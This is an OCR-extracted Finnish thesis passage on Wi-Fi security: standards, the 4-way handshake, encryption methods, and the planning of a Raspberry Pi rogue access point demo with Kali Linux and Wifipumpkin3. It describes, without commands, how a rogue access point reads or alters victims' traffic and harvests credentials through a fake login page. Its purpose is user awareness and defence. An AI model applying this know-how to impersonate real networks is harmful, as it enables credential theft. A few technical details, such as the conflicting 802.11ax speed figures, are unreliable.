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1 Johdanto

Langattomat verkot ovat tulleet osaksi paivittdista elamaamme kahden viime vuosikymmenen ai-
kana. Yleisesti tunnettu nimi langattomille verkoille on Wi-Fi. Ensimmainen Wi-Fi-standardi julkais-
tiin 1999. Siita ldahtien sen suosio on kasvanut nopeasti. Vuosikymmen sitten Wi-Fia kayttivat paa-
asiassa kannettavat tietokoneet, seka puhelimet. Tana paivana Wi-Fi on paivittdisessa kaytossa
tietokoneiden ja puhelimien lisaksi myds esimerkiksi tableteilla, televisioissa, pelikonsoleissa, ko-
din turvakameroissa, dlylampuissa ja monissa muissa laitteissa. Tulevaisuudessa Wi-Fin ldsnadolo
jokapaivaisessa elamassa kasvaa entisestaan, silla Wi-Fia kayttavien laitteiden tyyppi ja maara jat-

kavat kasvuaan.

Wi-Fin korkean ja kasvavan lasnaolon vuoksi, niin arjessa kuin myos tyoelamassa, sen tietoturvan
tarkeys kasvaa entisestaan. Tietoturvaloukkausten vakavuus ja todenndkodisyys ovat kasvaneet Wi-
Fin l[asndolon kasvun myotad; mitda enemman Wi-Fid kayttavia laitteita on, sitd enemman on hyok-
kaysalttiita kohteita. Tietoturvaloukkausten seuraukset voivat olla hyvin vakavia, esimerkiksi tieto-
vuoto tai rahavarojen menetys. Yksityinen kayttdja voi esimerkiksi menettaa hanelle tarkean kayt-

tajatilin tiedot. Yrityksille tarkedn datan menettaminen voi johtaa siihen, etta liilketoiminta estyy.

Riskien vakavuudesta huolimatta, monet Wi-Fi-laitteiden kayttajat eivat valttamatta ole tietoisia
niista tai tavoista suojautua niiltd. On siis olemassa tarve kasvattaa kayttajien tietoisuutta. Opin-

naytetyo keskittyy kasvattamaan tietoturvariskien tietoisuutta:

- Tarjoamalla tietoa Wi-Fi-standardeista

- Tarjoamalla tietoa suojausmenetelmista

- Demonstroimalla Rogue Access Pointin toimintaa esimerkkina tietoturvauhasta, seka
- Osoittamalla keinoja kuinka suojautua Rogue Access Pointilta.

2 Tutkimusasetelma

TyOssa kasitellaan langattomien verkkojen tietoturvaa, sekd esitetdan Rogue Access Pointin toi-
mintaa kdytannossa demon muodossa. Tutkimusmenetelmaksi valikoitui tyon aiheesta johtuen

empiirinen tutkimus, joka koostuu kolmesta eri vaiheesta: mittaaminen, konkreettiset havainnot,



sekd analysointi. Aineisto kartutetaan tutkimalla ja demoamalla tapahtumaa. (Empiirinen tutkimus

2015.)

Ty6n aiheen ja luonteen pohjalta luotiin seuraavat kysymykset, joihin haettiin vastausta:

e Kuinka Rogue Access Point toimii?

e Kuinka Rogue Access Pointilta voi suojautua?

e Kuinka tukiaseman signaalin voimakkuus vaikuttaa langattoman verkon tietotur-
vaan?

Demo toteutetaan pienessa mittakaavassa kdyttaen apuna Raspberry Pi:ta.

Raspberry Pi on pieni taskukokoinen tietokone, johon voidaan liittaa kiinni nayttd, ndppaimisto ja

hiiri. Siihen saa kiinni muistikortin, johon voidaan asentaa kayttojarjestelma.

3 Tietoperusta
3.1 Mika on Wi-Fi?

Wi-Fi on langaton verkkoprotokolla, jota laitteet kayttavat kommunikoidakseen ilman fyysisia kaa-
peleita. Se on tuotteistettu termi, joka edustaa langatonta paikallista verkkoa (Wireless Local Area

Network eli WLAN) perustuen 802.11 IEEE standardiin. (Uy 2021.)

Tavallisen kayttajan nakdkulmasta Wi-Fi on internet-yhteys langattomaan tiedonsiirtoon kykene-
vasta laitteesta, kuten puhelimesta, tabletista tai kannettavasta tietokoneesta. Useimmat moder-
nit laitteet tukevat Wi-Fia, jonka myota ne voivat yhdistaa verkkoon ja saada internet-yhteyden.

(Uy 2021.)

3.2 |EEE-ammattiyhdistys

IEEE (/nstitute of Electrical and Electronics Engineers) on maailman suurin ammattiyhdistys, jonka
tehtdvana on edistaa innovaatiota ja teknologista huippuosaamista ihmiskunnan hyodyksi. IEEE:n
tarkoituksena on palvella kaikkia sdhko-, elektroniikka- ja tietojenkésittelyalojen ammattilaisia.

IEEE on perustettu 1963 Yhdysvalloissa. (History of IEEE 2022.)



IEEE julkaisee ldhes kolmanneksen maailman sahkotekniikan, tietojenkasittelytieteen ja elektronii-
kan teknisesta kirjallisuudesta. (IEEE at a Glance 2021) IEEE yllapitaa aktiivista standardien kirjas-

toa, jotka maarittelevat useiden tuotteiden ja palveluiden toimivuutta, myds Wi-Fin.

3.3 Unicast, multicast ja broadcast -liikkenne

Data liikkuu verkossa pakettien muodossa kolmen erilaisen menetelman avulla. Unicast (tasmala-
hetys) tarkoittaa lilkennetta yhdesta lahteesta yhdelle vastaanottajalle, sitda hyodyntavat esimer-
kiksi sdhkdpostiohjelmat. Multicast (ryhmaldhetys) tarkoittaa lilkennetta yhdesta lahteesta usealle
vastaanottajalle ja silld voidaan vahentda néin palvelimen kuormitusta. Broadcast (yleislahetys)
puolestaan tarkoittaa liikennetta yhdesta lahteesta kaikille mahdollisille vastaanottajille, esimer-

kiksi suoratoistopalveluiden muodossa. (Nevase n.d.)

3.4 EAPol-protokolla

EAPolL (Extensible Authentication Protocol over LAN) on tietoverkoissa kaytetty protokolla, jota
kdytetdadn todennukseen asiakaslaitteen ja tukiaseman (Access Point — AP) valilla eli silloin kun
asiakaslaite haluaa liittya tukiasemaan. (EAPoL (Extensible Authentication Protocol over LAN) n.d.)
EAPoL luotiin tukemaan vanhempaa EAP-protokollaa, joka oli alun perin luotu tiedonsiirtoon puhe-
linverkoissa. EAP ei sellaisenaan kykene siirtdmaan dataa lahiverkossa. EAP-viestit siis kapseloi-
daan EAPoL-viesteiksi. (EAPOL n.d.) Tunnistautuminen tapahtuu EAPoL-viesteja lahettamalla.

EAPol-viestit koostuvat viidesta osasta:

- EAPoL Start

- EAPoL Key

- EAPolL Packet

- EAPol Logoff

- EAPolL Encapsulated ASF Alert (EAPolL (Extensible Authentication Protocol over LAN) n.d.)

Asiakaslaite ei aluksi tiedad tukiaseman MAC-osoitetta, joten tunnistautuminen alkaa asiakaslait-
teen lahettamalla EAPol Start -viestilla tukiasemalle. Tukiasema kayttaa EAPol Key -viestia lahet-
tadkseen kryptatut avaimet. (EAPol (Extensible Authentication Protocol over LAN) n.d.) Avaimet
tulee lahettaa kryptattuna, jotta niita ei voitaisi kaapata ja vaarinkdyttaa, esim. Rogue Access Poin-

tia hyodyntéen.



EAPoL Packet -kehysta kaytetdan varsinaisten EAP-sanomien ldhettdmiseen. EAPol Packet on yk-
sinkertaisesti sailio EAP-viestin kuljettamiseen lahiverkon yli, mika oli EAPoL-protokollan alkuperai-
nen tavoite. EAPoL Logoff -viestilld asiakaslaite ilmaisee, etta se haluaa katkaista yhteyden tukiase-

maan. (EAPOL n.d.)

EAPoL Encapsulated ASF Alert -viestia kaytetaan varoituksien lahettamiseen, esimerkiksi silloin, jos
havaitaan luvattoman portin kayttd. Kyseessa on turvallisuusmekanismi. (EAPoL (Extensible Aut-

hentication Protocol over LAN) n.d.)

3.5 4-suuntainen kattely

4-suuntainen kattely (4-Way Handshake) on menettely, jossa vaihdetaan 4 viestia tukiaseman (to-
dentajan) ja asiakaslaitteen (pyynnon esittajan) valilla salausavaimien luomiseksi. Saatuja salaus-
avaimia voidaan kayttaa langattoman laitteen kautta ldhetettyjen tietojen salaamiseen. Erilaisia

avaimia on useita:

- MSK (Master Session Key)

- GMK (Group Master Key)

- PTK (Pairwise Transient Key)

- GTK (Group Temporal Key)

- ANonce

- SNonce

- MIC (Message Integrity Check) (4-Way Handshake n.d.)

MSK-avain (Master Session Key) luodaan autentikointiprosessin yhteydessa, joka tapahtuu jo en-
nen varsinaista 4-suuntaista kattelya. Autentikointiprosessin yhteydessa luodaan myds PSK (Pre-
Shared Key). (4-Way Handshake n.d.) PSK on osa WPA2-salausmenetelmaa. Salausmenetelmia ka-

sitellaan lisaa luvussa 3.9.

PTK:ta (Pairwise Transient Key) kaytetaan kaiken unicast-liikenteen salaamiseen asiakaslaitteen ja
tukiaseman (Access Point) valilla. PTK on uniikki asiakaslaitteen ja tukiaseman valilla eli vain ndma
kaksi laitetta kayttavat sitd. Mikali uusi asiakaslaite liittyisi verkkoon, sen ja tukiaseman vilille luo-

taisiin uusi, uniikki PTK. PTK:n luomiseksi asiakaslaite ja tukiasema tarvitsevat seuraavat tiedot:



10

molempien laitteiden MAC-osoitteet, ANonce-muuttujan, sekd SNonce-muuttujan. ANonce on tu-
kiaseman luoma satunnaisluku avaimen luomista varten ja SNonce on samaan tapaan asiakaslait-

teen luoma satunnaisluku. (4-Way Handshake n.d.)

GTK-avainta (Group Temporal Key) kdytetdan salaamaan kaikki multicast- ja broadcast-liikenne tu-
kiaseman ja useiden asiakaslaitteiden valilla. GTK on avain, joka jaetaan kaikkien yhteen tukiase-

maan liittyneiden asiakaslaitteiden kesken. Jokaisella tukiasemalla on oma GTK, joka jaetaan siihen
liittyvien asiakaslaitteiden kesken. GMK:ta (Group Master Key) kaytetaan 4-suuntaisessa kattelyssa

GTK:n luomiseen. (4-Way Handshake n.d.)

4-suuntaisen kattelyn alussa autentikointiprosessi on suoritettu ja PSK on tiedossa asiakaslaitteelle
ja tukiasemalle. On tarkeda huomata, etta PSK luodaan paikallisesti niin asiakaslaitteessa, kuin
my0s tukiasemassa. Ndin ollen sita ei koskaan valiteta sellaisenaan verkon valityksellda, mika tar-
koittaa, etta sita ei voi kaapata. Tama menettely lisaa verkon turvallisuutta. (4-Way Handshake

n.d.)

Kaydaan seuraavaksi lapi 4-vaiheisen kattelyn vaiheet. Vaiheiden eteneminen on kuvattu kuviossa
1. Kattelyn ensimmadinen viesti etenee seuraavasti: AP |dhettdd EAPolL-viestin, joka sisdltada ANon-
cen (satunnaisluku) asiakaslaitteelle. Tassa vaiheessa asiakaslaite on jo luonut SNoncen (oman sa-
tunnaislukunsa) itselleen. Tama tarkoittaa, ettd asiakaslaitteella on kaikki tarvittava data PTK:n

luomiseen:

- ANonce (vastaanotettu AP:lta ensimmaisessa viestissa)

- SNonce (asiakaslaite on luonut tdman itse)

- PSK (tiedossa molemmilla laitteilla autentikointiprosessin jalkeen)

- MAC Address of AP (on tiedossa, koska AP ja asiakaslaite ovat liittyneina toisiinsa)

- MAC Address of client (on tiedossa, koska AP ja asiakaslaite ovat liittyneina toisiinsa)

Asiakaslaite luo nyt PTK:n. (Dionicio 2018.)

Kattelyn toisessa viestissd asiakaslaite ldhettad EAPOL-viestin SNoncen (satunnaisluku) ja MIC:n
kanssa AP:lle. Tassa vaiheessa AP:lla on kaikki tarvittava data PTK:n luomiseen, joten AP luo nyt

PTK:n. (Dionicio 2018.) MIC (Message Integrity Check) on kaytossa WEP-salauksen tehostamista
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varten. (MIC (Message Integrity Check) n.d.) WEP-salausta kaytetdan langattomien verkkojen suo-

jaamiseen ja sita kasitelldan lisda luvussa 3.9.

Kattelyn kolmannessa viestissa AP luo GTK:n. AP lahettaa GTK:n ja MIC:n sisaltdavan EAPoL-viestin

asiakaslaitteelle.

Kattelyn neljannessa vaiheessa asiakaslaite lahettaa vahvistuksen AP:lle siita, etta avaimet on nyt

asennettu.

4-suuntaisen kattelyn valmistuttua kaikki suojattu liikenne voi nyt kulkea. Kaikki unicast-liikenne
suojataan kayttaen PTK:ta ja kaikki multicast-liikenne suojataan kayttden GTK:ta, joka luotiin 4-

suuntaisen kattelyn aikana. (4-Way Handshake n.d.)

Master session key (MSK) Master session key (MSK)

luodaan luodaan
Pair-wise session key (PSK) Pair-wise session key (PSK)
luodaan luodaan
Luodaan SMonce Luodaan ANonce
(kdyttden satunnaislukua) (k&@yttden satunnaislukua)
' 1. ANonce
_—_

v Luodaan PTK
(Pairwise Transient Key) 2. SNonce + MIC (Message Integrity Check)

_——-

W Luodaan PTK
(Pairwise Transient Key)

3. GTK (Group Temporal Key), MIC
——_

; 4. Acknowledge

Wi-Fin kayttd)3 Wi-Fi AP

?

i

Kuvio 1. 4-vaiheinen kattely
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3.6 Radiorajapinta

Yksi WLAN-verkolle oleellista komponenteista RF-lahetin-vastaanotin (Radio Frequency

transceiver), joka koostuu lahettimesta ja vastaanottimesta. Lahetin |dhettda radioaallon jarjestel-
man toisesta padasta ja vastaanotin vastaanottaa radioaallon jarjestelman toisesta paasta. Lahetin-
vastaanotin koostuu yleensa laitteistosta, joka on jo osa langatonta asiakasradiolaitetta. (WiFi Net-

working: Radio Wave Basics 2017.)

Kuvio 2 esittda lahettimen peruskomponentit. Lihetyksessa tapahtuu modulaatio, joka muuntaa
sahkoiset, digitaaliset informaatiosignaalit (databitit) tietokoneen sisalla halutulla taajuudella ra-
dioaalloiksi, jotka etenevat ilmavaliaineen lapi. Vahvistin lisaa radioaaltosignaalin amplitudia halut-
tuun lahetystehoon ennen kuin se syotetaan antenniin ja pddsee etenemaan lahetysvaliaineen
[api. Niin sanottu lahetysvaliaine koostuu paaasiassa ilmasta, mutta kattaa myds esteet, kuten sei-

nat, katot ja muut erilaiset rakenteet. (WiFi Networking: Radio Wave Basics 2017.)

Antenni

Vahvistettu RF

Digitaalinen data i .
signaali

asiakaslaitteesta RF-signaali

o et W

»  Modulaattori | Vahvistin

Kuvio 2. Léhetin

3.7 Wi-Fi Alliance-jarjesto

Wi-Fi Alliance on jarjesto, joka edistaa Wi-Fin maailmanlaajuista kayttoonottoa yhteistyossa yritys-
ten kanssa. Jarjeston tehtavana on varmistaa, ettd kuluttajien Wi-Fi toimii toivotulla tavalla. Tahan
pyritddn kehittamalla testiohjelmistoja, seka luomalla tiettyja vaatimuksia Wi-Fi yhteyksille. (Who

We Are 2022.)
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Wi-Fi sertifikaatti (ks. kuvio 3) on kansainvalisesti tunnustettu hyvaksyntamerkki laitteille, joka
osoittaa, etta laitteet ovat tayttaneet tietyt standardit yhteen toimivuuden, turvallisuuden, seka

sovelluskohtaisten protokollien osalta. (Certification 2022.)

Merkinta Wi-Fi sertifikaatista tarkoittaa, etta laitetta on testattu useilla eri tavoilla sen yhteensopi-

vuuden varmistamiseksi muiden Wi-Fi sertifioitujen laitteiden kanssa. (Certification 2022.)

Wi )

CERTIFIED

Kuvio 3. Wi-Fi sertifioidun laitteen virallinen logo (Certification 2022.)

3.8 Wi-Fi standardit

Wi-Fi standardit saivat alkunsa vuonna 1999, IEEE:n maaritellessa niista ensimmaisen. Tasta lah-
tien standardeja on tullut useita lisaa, jokaisen tuoden joitakin uusia ominaisuuksia mukanaan. Alla

on listattuna taulukkoon erilaiset 802.11-standardit, seka niiden julkaisuvuosi, taajuusalue ja mak-

siminopeus.
Standardi Julkaisuvuosi Taajuusalue Maksiminopeus
802.11b 1999 2,4 (GHz) 11 (Mb/s)
802.11a 1999 5 (GHz) 54 (Mb/s)

802.11g 2003 2,4 (GHz) 54 (Mb/s)




14

802.11n 2009 2,4 (GHz) ja5 (GHz) | 600 (Mb/s)
802.11ac 2013 2,4 (GHz)ja 5 (GHz) | 450-1300 (Mb/s)
802.11ad 2012 60 (GHz) 7 (Gb/s)
802.11ah 2017 863-868 (MHz) 78 (Mb/s)
802.11aj 2018 45 (GHz) ja 60 (GHz) | 15 (Gb/s)
802.11ax 2019 2,4 (GHz) ja5 (GHz) | 10 (Gb/s)

802.11b-standardi tunnetaan myos nimella Wi-Fi 1. (Mitchell 2021a.) Kyseessa on ensimmainen,
vuonna 1999 julkaistu, Wi-Fi-standardi. Mitchellin (2021a) mukaan sen teoreettinen maksimino-
peus on 11 Mb/s, mutta todellisuudessa nopeus oli 2—3 Mb/s luokkaa. 802.11b:n kdyttama taa-

juusalue on 2,4 GHz.

802.11a-standardi, joka tunnetaan myds nimella Wi-Fi 2, kehitettiin samaan aikaan 802.11b-stan-
dardin kanssa. 802.11a-standardi ei ollut yhta suosittu kuin 802.11b ja se olikin kalliimpi ratkaisu ja
[ahinna vain yritysten kdytossa. 802.11a-standardin kdyttama taajuusalue on 5 GHz ja sen maksi-
minopeus on 54 Mb/s. (Mitchell 2021a.) Koska 802.11b ja 802.11a toimivat eri taajuusalueilla, ne

eivat ole yhteensopivia keskenaan.

Vuonna 2003 julkaistu 802.11g pyrkii yhdistdamaan 802.11a:n ja 802.11b:n parhaat puolet. Se kayt-
taa 2,4 GHz taajuutta saavuttaakseen pidemman kantaman ja sen maksiminopeus on 54 Mb/s.
(IEEE 802.11g Wi-Fi n.d.) 802.11g-standardin etuna on, etta se tukee kaikkia nykypaivana kaytossa
olevia langattomia laitteita ja sen kustannukset ovat alhaiset. Huonona puolena on, etta koko
verkko hidastuu vastaamaan 802.11b-standardin laitteita, mikali niitd on kdytossa. 802.11g-stan-

dardi tunnetaan myds nimella Wi-Fi 3. (Mitchell 2021a.)
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802.11i-standardi julkaistiin vuonna 2004. Kyseessa oli hieman erilainen standardi, joka luotiin pa-
rantamaan langattomien verkkojen tietoturvaa. Se toi mukanaan parannuksia langattomaan to-
dennukseen, salaukseen, avaintenhallintaan, seka yksityiskohtaiseen suojaukseen. 802.11i-stan-
dardi parantaa WEP-menetelmaa (ks. luku 3.9.1) ja kun se yhdistetdan WPA2-menetelman (ks.
luku 3.9.3) kanssa, saadaan vahva suojaus aikaiseksi, joka sisaltdaa myos AES-salauksen. (IEEE

802.11i n.d.)

802.11n-standardi julkaistiin vuonna 2009 ja se tunnetaan myds nimella Wi-Fi 4. 802.11n-stan-
dardi suunniteltiin parantamaan 802.11g-standardin tukemaa kaistanleveytta kayttamalla useita
langattomia signaaleja ja antenneja, maksimissaan 4:aa. (Mitchell 2021a.) Tama uusi tekniikka on
nimeltaan MIMO (Multiple Input Multiple Output) ja se mahdollisti merkittavasti suuremman da-
tansiirron ilman suurempaa kaistanleveytta tai lahetystehoa. (The evolution of Wi-Fi standards: a
look at 802.11a/b/g/n/ac/ax n.d.). Myos Mitchell (2021a) toteaa 802.11n-standardin kayttavan
MIMO-tekniikkaa. 802.11n-standardin tarjoama maksimi kaistanleveys on 600 Mb/s ja se toimii

2,4 GHz:n ja 5 GHz:n taajuusalueilla.

Vuonna 2013 markkinoille saapui 802.11n-standardin seuraaja, 802.11ac-standardi. 802.11ac-
standardi tunnetaan myds nimella Wi-Fi 5. 802.11ac-standardin maksiminopeus kasvoi huomatta-
vasti edeltdjaansa verrattuna ja on 1300 Mb/s. 802.11ac-standardi toimii 2,4GHz ja 5 GHz taajuus-
alueilla. (What Is 802.11ac? n.d.)

802.11ad-standardi julkaistiin vuonna 2012 ja sen erikoisuutena on, etta se kdyttaa perinteisten
2,4 GHz:n ja 5 GHz:n taajuuksien sijaan 60 GHz:n taajuusaluetta. Se mahdollistaa ndin ollen todella
nopean tiedonsiirtonopeuden, jopa 7 Gb/s. (WiGig: IEEE 802.11ad 60GHz Microwave Wi-Fi n.d.)
Vertailun vuoksi mainittakoon, etta yksi gigabitti on 1000 megabittid. Mitchellin (2021a) mukaan
802.11ad-standardin heikkoutena puolestaan on sen lyhyt kantama, maksimissaan noin 10 metria

paatelaitteesta.

Aust, Prasad ja Niemegeers (2012) kertovat, ettd 802.11ah-stadardi luotiin vastaamaan loT:n (In-
ternet of Things) nopeaa kehitysta ja kasvua. 802.11ah-standardi toimii alle 1GHz:n taajuuksilla,

vaihtoehtona paljon kaytetyille 2,4 GHz:n ja 5 GHz:n taajuuksille. Sen lisdksi, ettd 802.11ah-sta-



16

dardi toimii matalilla taajuuksilla, sen etuina ovat mm. hyva kaytettavyys myos ulkona, pitkd akun-
kesto, seka virransdaastbominaisuudet. (Aust, Psarad & Niemegeers 2012.) Mitchellin (2021a) mu-

kaan 802.11ah-standardi hyvaksyttiin toukokuussa 2017 IEEE:n toimesta.

Verrattain uusi, vuonna 2018 julkaistu, 802.11aj-standardi kehitettiin vastaamaan Kiinan tarpeita.
Standardi tunnetaan myos nimella China Millimeter Wave. 802.11aj-standardi maarittelee muu-
toksia jo olemassa olevaan 802.11ad-standardiin, mahdollistaen toiminnan Kiinan 59—64 GHz:n
taajuusalueilla. 802.11aj-standardi pyrkii sdilyttdmaan taaksepain yhteensopivuuden 802.11ad-

standardin kanssa, joka toimii 60 GHz:n taajuusalueella. (Shaw 2020.)

802.11ax-standardi hyvaksyttiin kaytt66n vuonna 2019 ja se tunnetaan myos nimella Wi-Fi 6.
Tama standardi toimii 2,4 GHz:n ja 5 GHz:n taajuusalueilla ja sen maksiminopeus on 600 Mb/s. Wi-
Fi 6:n uusia ominaisuuksia ovat parempi verkon suorituskyky, erityisesti silloin, kun verkkoon liitet-
tyja laitteita on useita, parempi kantama, parempi verkon tehokkuus, seka liitettyjen laitteiden

pienempi virrankulutus. (Nain Wi-Fi 6 toimii — Kaikki mita sinun tarvitsee tietdaa 802.11ax:sta 2019.)

3.9 Salausmenetelmat

3.9.1 WEP-menetelma

Wired Equivalent Privacy on vanha suojausmenetelma vuodelta 1997, jota ei enda vuodesta 2004
eteenpadin olla virallisesti kdytetty sen haavoittuvuuksien vuoksi. WEP salaa liikennetta kayttaen
64- tai 128-bittista heksadesimaali avainta. Yksi ja sama avain suojasi kaikkea liikennetta. Nykypai-
van mittareilla WEP ei ole riittdva suojausmenetelma, eika sita tule kayttaa. (WEP, WPA, WPA2

and WPA3: Differences and explanation 2022.)

3.9.2 WPA-menetelma

WEP:n jalkeen otettiin kdyttoon WPA eli Wi-Fi Protected Access, joka tuli markkinoille 2003. WPA
oli samankaltainen WEP:n kanssa, mutta se tarjosi parannuksia suojausavainten kasittelyyn, seka
siihen kuinka kayttajat tunnistettiin. WPA kaytti myods 256-bittisia avaimia, mika oli huomattava

parannus WEP:n ndahden. (WEP, WPA, WPA2 and WPA3: Differences and explanation 2022.)
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3.9.3 WPA2-menetelma

Wi-Fi Protected Access 2 eli WPA2 on entisestdaan paivitetympi ja tietoturvallisempi versio
WPA:sta. WPA2 on ollut kdytossa kaikissa sertifioiduissa Wi-Fi laitteissa vuodesta 2006 alkaen. On

suositeltavaa, ettda WPA2 salausta kdytetaan aina, kun vain mahdollista. (Mitchell 2021b.)

WPA2:n etuna on sen kayttama AES-salaus (Advanced Encryption Standard). AES on lohkosalaus-
menetelma, jossa salattu viesti pakataan 128 bitin kokaisiin lohkoihin ja salausavaimen koko voi

olla joko 128, 192 tai 256-bittid. (Advanced Encryption Standard (AES) 2021.)

3.9.4 WPA3-menetelma

Wi-Fi Protected Access 3 on viimeisin langattomien verkkojen suojausmenetelma ja se julkaistiin
vuonna 2018. WPA3 pitaa sisallaan useita parannuksia, joihin kuuluu turvallisempi julkinen Wi-Fi,

heikkojen salasanojen suojaus, seka entistd helpompi kayttokokemus. (Fisher 2021.)

WPA3 eristaa jokaisen istunnon salasanasuojauksella tehden datan kerdaamisesta ja hyvaksi kaytta-
misestd myohemmin mahdotonta hakkerointitarkoituksiin. WPA3 my6s suojaa heikkoja salasanoja
ylimaaraisella suojauksella, joka estaa tehokkaasti brute-force-hyokkayksen, jossa salasanoja yrite-

taan arvata vakisin. (Security 2022.)

3.9.5 VPN eli virtuaalinen erillisverkko

Virtual Private Network eli virtuaalinen erillisverkko on tehokas tapa suojata oma yksityisyys nettia
kdytettdaessa. VPN toimii tunnelin tavoin internetyhteyden paalla. Sen sijaan, etta laite yhdistaisi
suoraan internetiin, se yhdistdaa VPN-palvelimeen. Talloin verkkopalvelut nakevat, etta kaikki lii-
kenne kulkee VPN-palvelimen kautta ja oma IP-osoite ja sijainti pysyvat salassa. (What Is a VPN? -

Virtual Private Network 2022.)

VPN yhteyden liikenne on aina kryptattua eli salattua, mutta on syyta ottaa huomioon, etta il-
maista VPN-yhteytta tulee valttaa, silla se on merkki vaarasta. VPN palvelinta, jonka kautta lii-

kenne kulkee, yllapitaa aina joku taho.
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3.10 Rogue Access Point -tukiasema

Rogue Access Point on verkkoon virallisesti kuulumaton tukiasema, joka ei ole verkon haltijan hal-
linnassa ja se pyrkii jaljittelemaan luotettua tukiasemaa (ks. kuvio 4). (Understanding Rogue Access

Points 2018.) Jokaisen verkon haltijan, seka kayttajan, tulisi tiedostaa Rogue Access Pointin vaarat.

Luotettu

Access Point
Y ey, O

=

..

Wi-Fin kayttaja

Rogue
Access Point

Kuvio 4. Rogue Access Pointin toimintamalli

Shahin mukaan (n.d.) Rogue Access Pointilla voidaan suorittaa joko passiivinen tai aktiivinen datan
kaappaus. Passiivisessa kaappauksessa Rogue Access Point lukee kdyttdjan dataa, mutta ei voi
muokata sita. Talloin esimerkiksi salasana syOtettdaessa http-sivulle, se voidaan lukea selkokieli-
send. Taman lisaksi Rogue Access Point pystyy helposti profiloimaan kadyttajaa pitamalla kirjaa

kayttajan vierailemista sivustoista.

Aktiivisessa datan kaappauksessa Rogue Access Point kykenee myds muokkaamaan kayttdjan da-
taa. Se voi lukea kayttdjan antamaa dataa, muokata sitd haluamallaan tavalla ja lahettaa sen
eteenpadin. Nain ollen esimerkiksi maksua maksettaessa verkossa, Rogue Access Pointin haltija voi

muokata maksun tulevaksi hanen tililleen. (Shah n.d.)
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IImaiseen langattomaan verkkoon liityttdessa tulee olla tarkkana. Aktiivinen ja passiivinen hyok-
kdys ovat hyvin ehkaistavissa kdayttamalla vain https-sivuja. Suojautumiskeinoja kasitelldan lisaa

luvussa 6.

3.11 Kali Linux-kdyttojarjestelma

Kali Linux on avoimen ldhdekoodin kayttojarjestelma, joka pohjautuu Debian-kayttojarjestelmaan.
Kali Linux on suunnattu kaytettavaksi tietoturva-aukkojen penetraatiotestaukseen, takaisinmallin-
nukseen, seka turvallisuuden yllapitoon. Kayttojarjestelma sisaltda useita satoja erilaisia tyokaluja,

joilla voidaan testata jarjestelman tietoturvallisuutta. (What is Kali Linux 2022.)

Kali Linuxin uniikin jakelun vuoksi sita ei suositella uusille Linux-kayttajille, eika kaytettavaksi taval-
lisena kayttojarjestelmana, web-suunnitteluun tai pelaamiseen. Kali Linuxin verkkopalvelut on ole-
tuksena otettu pois kaytosta, jotta jakelun eheys voidaan varmistaa kaikissa tilanteissa. Myo6s

bluetooth-palvelu on oletuksena pois kaytosta. (Should | Use Kali Linux 2022.) Linuxista on tarjolla

useita erilaisia jakeluita, jotka soveltuvat paremmin perinteisiin tarkoituksiin.

4 Demon toteutus

4.1 Laitteisto

Demo toteutetaan kayttden Raspberry Pi 3 Model B:ta, jossa on kiinni 16GB:n microSD-muisti-
kortti. Muistikortille on ladattuna Kali Linux-kayttojarjestelma. Kayttojarjestelma on saatu ladattua
muistikortille kytkemalla muistikortti oman tietokoneen muistikorttipaikkaan. Vaihtoehtoisesti
olisi mahdollista kayttaa esimerkiksi muistikortinlukijaa. Taman lisaksi tarvitaan tavallinen USB-
nappaimisto ja hiiri, sekd nayttd, johon Raspberry Pi kytketdan HDMI-kaapelilla. Tarvitaan myds

Ethernet kaapeli, jolla Raspberry Pi voidaan kytkea verkkoon.

Raspberry Pi 3 Model B:n tekniset tiedot:

Quad Core 1.2GHz Broadcom BCM2837 64bit CPU

1GB RAM

BCM43438 wireless LAN and Bluetooth Low Energy (BLE) on board
100 Base Ethernet

40-pin extended GPIO
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4 USB 2 ports

4 Pole stereo output and composite video port

Full size HDMI

CSl camera port for connecting a Raspberry Pi camera

DSl display port for connecting a Raspberry Pi touchscreen display

Micro SD port for loading your operating system and storing data

Upgraded switched Micro USB power source up to 2.5A (Raspberry Pi 3 Model B. N.d.)

4.2 Ohjelmistot

Rogue Access Point on mahdollista toteuttaa useilla eri tavoilla. Tata tyota varten tyokaluksi vali-
koitui Wifipumpkin3, koska se on ilmainen ja se sisaltaa juuri tarvittavat tyokalut demon toteu-
tusta varten. Wifipumkin3:n etuihin kuuluvat mm. helppo kayttéliittyma, captiveflask (lisdosa, joka
luo valheellisen kirjautumisikkunan), seka automaattinen kayttajatietojen haaliminen (uhrin ne

syoOtettya). (Wifipumpkin3 2022.)

Toinen hyva vaihtoehto olisi ollut Wifi Pineapple, mutta tama tuote on maksullinen. Hak5:n val-
mistama Wifi Pineapple on heti kdyttovalmis tuote, jolla esim. yrityksen olisi mahdollista testata
omaa tietoturvaansa. Laitetta markkinoidaankin juuri tahan kayttétarkoitukseen, mutta sita olisi
mahdollista kdyttad myos pahoihin tarkoituksiin. Pitkalle tuotteistettu Wifi Pineapple on myos
helppokayttoinen tyokalu ja sisaltdaa helppokayttdisen kayttoliittyman. Sen ominaisuuksiin kuuluu
mm. patentoitu PineAP Suite, joka imitoi haluttua verkkoa mahdollistaen nain tietojen kalastelun.
Taman lisdksi Wifi Pineapple my0ds pyrkii tunnistamaan automaattisesti hyokkaykselle alttiita lait-

teita ja kohdistamaan hyokkayksia niihin. (Wifi Pineapple N.d.)

4.3 Asennusvaiheen kuvaus ja demon tavoitteet

Ty6 on luonnollista aloittaa kerdaamalla kaikki tarvittavat laitteet yhteen. Toteutukseen tarvitaan
Raspberry Pi 3 Model B (myds uudempi versio 4 kdy), microSD-muistikortti (16Gb muistia), USB-
ndppaimisto, USB-hiiri, seka nayttd. Tarvitaan myods oma tietokone, jonka avulla voidaan ladata
muistikortille Kali Linux -kayttojarjestelma, sekda myéhemmin muodostaa etdayhteys Raspberry
Pi:hin. Kayttojarjestelman latausta varten tietokoneessa tulee olla muistikorttipaikka tai sitten

vaihtoehtoisesti voidaan kayttaa erillista muistikortin lukijaa.
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Kun Kali Linux-kayttojarjestelma on saatu ladattua muistikortille, se voidaan kytkea kiinni Rasp-
berry Pi:hin ja kytkea siihen my&s ndappdimisto, ndytto ja hiiri. Ensimmaiseksi Kali Linuxille kirjau-
duttaessa, niin kuin myos esimerkiksi Windows -kayttojarjestelmalle, on syyta luoda oma kayttdja-

tunnus, seka asentaa uusimmat paivitykset.

Ty6n suorittaminen on luontevampaa, seka se vastaan enemman todellista tilannetta, kun SSH eli
etdayhteys mahdollistetaan Raspberry Pi:lle. Ndin laitetta voidaan hallita omalta tietokoneelta tay-

sin etanad. Etayhteys tulee mahdollistaa erillisilla komennoilla.

Demon tavoitteena on imitoida toista, olemassa olevaa verkkoa. Luomalla olemassa olevan verkon
